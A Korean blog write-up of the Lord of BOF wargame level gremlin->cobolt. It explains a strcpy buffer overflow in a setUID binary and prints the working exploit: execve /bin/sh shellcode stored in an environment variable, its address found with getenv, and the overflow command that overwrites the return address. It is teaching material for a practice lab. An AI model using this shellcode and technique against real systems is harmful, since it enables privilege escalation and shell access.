[LoB] Level2. gremlin -> cobolt

marceline·2024년 5월 30일
0

[LoB]

목록 보기
3/5

취약점 분석

ls -al


마찬가지로 특수권한 ‘s’가 보인다.

여기서 ‘s’권한은 linux의 특수권한으로 ‘setUID’이다.

setUID가 설정된 파일은 실행 시 일시적으로 파일 소유자의 권한을 열어 실행할 수 있도록 한다.

따라서 gremlin 파일을 gate가 실행시킬 시, 소유자인 gremlin의 권한으로 rwx를 수행할 수 있는 것이다.

따라서 이 문제는 앞선 문제와 같이, gremine에서 cobolt의 셸을 따내어야한다는 것을 알 수 있다.

코드분석

cat cobolt.c

마찬가지로 strcpy 에서 bof 가 발생할 수 있다.

메모리 구조

$ cp cobolt gremlin
$ gdb -g cobolt
(gdb) disass main

앞 포스팅에서 설명했듯이 바이너리를 복사하여 분석해야한다.

gdb 를 사용하여 메모리 구조를 파악해본다.

별다른 값 없이 0x10 만큼 buffer size가 할당된 것을 알 수 있다.

특이점이 있다면, 버퍼사이즈가 16바이트로 할당되어서 셸코드를 삽입할 충분한 공간이 없다.

이런상황에서는 셸코드 환경변수를 만들어서 셸코드환경변수의 주소값을 버퍼에 넣어 공격할 수 있다고 한다.

환경변수

아래는 환경변수에 대한 예시이다.

HOME=/home/gremlin

cd $HOME
cd /home/gremlin

${환경변수명} 으로 환경변수 경로로 이동할 수 있다.

위처럼 home이라 가정할 시, cd $HOMEcd /home/gremlin 는 같은 결과를 반환한다.

export SHELLCODE=${shellcode}

export 를 사용하여 1회성 환경변수를 설정할 수 있다.

또한 셀코드라는 환경변수에 저장되는 값은 셸코드를 실행시켜주도록해야하기 때문에 파이썬 스크립트를 넣어서 아래와 같이 구성되어야할 것 이다.

export SHELLCODE=$(python -c "print('\x90'*200 + '{SHELLCODE (24byte)}')")
  • shellcode SHELLCODE 값은 앞선 문제에서 사용했던 24바이트 셸코드를 사용했다.
    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

expoit

export SHELLCODE=$(python -c "print('\x90'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80')")

SHELLCODE 환경변수를 export 해주고, getenv.c 라는 파일을 만들어 해당 환경변수의 주솟값을 출력한다.

ret에 해당 환경변수가 저장된 주솟값을 넣을것이기 때문에 아래와같이 환경변수의 주솟값을 얻을 수 있을 것이다.

printf("shellcode: %x\n", getenv("SHELLCODE");

SHELLCODE ADDR: 0xbffffe66

./cobolt $(python -c "print '\x90'*20 + '{shellcode addr}'")

여기서 \x90 을 20개 넣은 이유는 버퍼의 크기(16) + SFP의 크기(4) -> 20 이기 때문이다.

0개의 댓글